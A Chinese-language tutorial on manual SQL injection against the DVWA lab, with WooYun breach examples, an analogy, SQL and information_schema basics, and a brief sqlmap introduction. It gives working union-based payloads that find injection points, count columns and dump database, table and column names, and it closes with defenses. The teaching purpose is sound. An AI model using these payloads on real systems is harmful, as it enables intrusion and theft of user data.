文章目录
一、SQL注入危害
1.1 实例
先来通过乌云案例了解一下SQL注入的危害
示例1. 中国中化通过SQL注入获得对方服务器权限
**示例2:**飞特物流后台注入千万用户敏感数据泄漏(银行卡号、身份证照片)
1.2 危害
其危害性可造成:
- 拖库(拿企业或高校用户敏感数据)
- 提权拿shell(操纵对方操作系统,持续监听、控制)
- 网站挂马、网页篡改、广告位传播
- 为所欲为,无视法律……
二、SQL注入含义
2.1 含义
恶意攻击者将数据包中输入的参数拼接成SQL语句传递给Web服务器,由于Web服务器的开发人员对数据的合法性没有判断或过滤不严,进而传递给数据库服务器,从而导致拼接的恶意SQL命令被执行,发起SQL注入攻击。
2.2 白话
一天,你老板让你去银行办理业务,临走前老板给了你一信封,上面写着银行业务员的指示,信件内容:
查询a账户的余额
签名:BOSS
路途中你去洗手间时将信件放到了洗手池上,被小偷发现了,打开信封添加了如下内容:
查询a账户余额,并向b账户转800元
签名:BOSS
银行业务员检查你的身份,验签了你老板的签名,便按照信函中操作(于是老板被偷了800元)
【和SQL注入相对比】
Web服务器 (你)
数据库服务器(银行业务员)
合法SQL代码(老板签名)
恶意SQL命令(小偷添加字段)
三、实操学习所需
3.1 靶机环境搭建
目的:模拟真实环境进行注入测试练习
环境安装如下所示(使用其它的靶机环境也可以。如搭建中遇到坎坷,可参考下方文章:
https://blog.csdn.net/Aaron_Miller/article/details/105735808)
3.2 SQL相关语法
目的:注入的核心在于注入点构造的SQL语句,构造的SQL语句最终传递给数据库服务器,由数据库服务器去执行,因此欲想手工注入深入并了解其原理,需必备SQL基础命令
3.2.1 SQL基本查询语法
》》启动并进入数据库(MYSQL,看到如下msyql便成功进入)
》》查看当前数据库
》》进入dvwa数据库,并查看其所有数据表
》》查看表中内容(users,五行八列)
》》where语句(只查看user为1337这一行数据)
》》order by 排序(按照user名称进行排序)
Tips:后面的数字超过查询表的列数时,会报错
》》union 联合查询(将两个表中同数量的列数打印出来)
Tips:两个表的列数相对应时,才能查询成功
3.2.2 MYSQL的特殊库
information_schema是mysql的一个特殊的信息数据库,保存关于Mysql服务器所维护的其它数据库信息,其中有三个特殊表
- SCHEMATA
- TABLES
- COLUMNS
- schemata表 存放所有数据库名
schema_name列 - tables表 存放所有数据库对应的表名
table_schema、table_name列 - columns表 存放所有的数据库对应表的对应列
3.2.3 SQL语法注意事项
TIPS1:Mysql查询的字符串未闭合会报错
TIPS2:Mysql语句要分号结尾才能查询成功
TIPS3:Mysql的三种注释风格:"#"、"-- “、”-- +"
(注释后边的未闭合的引号,同时前边添加一个注释掉的分号)
TIPS4:Mysql SQL语句不区分大小写
四、手工注入实战(MYSQL)
4.1 手工注入过程
- step1:根据数据库逻辑命令判断当前页面是否存在注入点,如存在是什么类型注入;
- step2:根据order by语句判断当前页面在数据库中查询的列数;
- step3:根据union语句判断当前页面显示位(显示位:网页中能够显示构造的语句查询出数据的位置,所有构造的SQL语句皆可在显示位处爆数据!)
- step4:根据SQL语法爆目的站点的数据。
4.3 web服务器和数据库交互理解
这里使用DVWA SQL Injection面板的操作显示来进行一个前后端的交互过程以及web服务器和数据库服务器的交互过程,来使我们对SQL注入的原理有一步新的认识
- 正常情况下我们输入1,web浏览器会显示一个FirstName值和Surname的值
- 点击提交按钮,前端将字符串交给后端处理
- 后端通过相关函数获得用户输入的字符串
- 进行数据库SQL查询预操作(此处未过滤)
- 后端web服务器和数据库服务器建立连接
- 成功建连后执行之前后端预操作的SQL语句
- 数据库查询成功后将数据返回给后端
- 后端将返回的数据显示到前端
- 最后在前端浏览器上进行渲染展示
4.2 手工注入操作
4.2.1 逻辑判断注入点
》》在输入框中输入 “1 and 1=1”,未报错
问:“为何在此输入 1 and 1=1?”
答:“通过SQL执行逻辑来判断当前注入点”
问:“and 在SQL中的作用是什么?”
答:“and可在where子语句中将两个语句结合起来,and两边逻辑都正确时才返回true”
问:”我还是不太清楚为何使用and?“
答:”请揣摩web服务器和数据库交互过程后仔细观察下方的图片“
》》在输入框中输入 “1 and 1=2”,未报错,可判断为非数字型注入
问:”and 1=2 不是and右边的逻辑1=2不成立吗,为何又显示出了数据?“
答:“如果and在引号里面,整个引号里面的数据是一个逻辑1 and 1=2,1是true,因此返回true(意思就是如果在引号中使用and无实际意义)”
》》在输入框中输入 "1‘ ",报SQL语法错误(怀疑为字符型注入)
》》在输入框中输入 “1‘ and 1=1 #”,返回正常
》》在输入框中输入 “1‘ and 1=2; #”,没有数据返回:可判断为字符型注入
由此and逻辑可判断为此处对数据库进行where子语句查询时使用的单引号进行查询,且没有过滤措施
4.2.2 判断查询列数
》》在输入框中输入 “1’ order by 1,2 #”,返回正常
》》在输入框中输入 “1’ order by 1,2,3 #”,返回语法错误
由order by语句逻辑可以判断当前查询列为两列(first_name、last_name)
4.2.3 显示显示位
》》在输入框中输入 “1’ union select 1,2 #”,返回出显示位(这里暂时不知道几个,为方便理解我图中标记了下)
》》在输入框中输入 “1’ union select 1,2,3 #”,返回错误,验实2个显示位
4.2.4 SQL语句注入
- 验证显示了显示位后便可以在显示位上注入SQL语句
示例1:查询当前数据库名 , “1’ union select 1,database() #”
其它Mysql常用函数:
system_user():系统用户名
user():数据库用户名
current_user() :当前用户名
session_user():连接数据库的用户名
database():数据库名
version() :数据库版本
Load_file():读取本地文件
Into outfile():写文件
@@datadir:读取数据存储路径
@@basedir:读取数据库安装路径
@@version_compile_os:显示安装版本
4.2.5 爆数据
Tips:我们可以利用前面 “3.2.2 MYSQL的特殊库” 中的三个特殊表去显示位中查询数据库中的数据
4.2.5.1 爆库
1’ union select 1,group_concat(schema_name) from information_schema.schemata; #
TIPS:group_concat()函数能将查询拼接起来,直观显示
4.2.5.2 爆表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa’; #
4.2.5.3 爆字段
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’; #
4.2.5.4 爆数据
问:正确的注入语法但报错是什么原因?
答:编码不统一所致,相同字段编码为utf8_general_ci与utf8_unicode_ci就会报如上错误:
解:修改表中编码即可解决
五、注入神器辅攻
5.1 SQLMAP介绍
SQL注入神器排名第一当属SQLMAP,其功能强大体验便知
- 官网:http://sqlmap.org
- 使用SQLMAP对DVWA进行注入测试体验
5.2 查找注入点
存在注入点:
5.3 查看所有数据库
5.4 查看某库下表
5.5 查看某表的所有列
5.6 爆数据
5.7 SQL其它使用
有关SQLMAP使用更加详细请看其官网或我总结的另外两篇文章:
六、注入防御措施
- 代码层面
- 转义用户输入的内容(PHP中函数:mysql_real_escape()函数等);
- 限制输入长度;
- 使用SQL语句预处理(对SQL语句首先进行预编译,参数绑定,最后传参)
- 网络层面
部署防火墙
- 其它层面
定期网站安全渗透测试
来源:oschina
链接:https://my.oschina.net/u/4334340/blog/4254382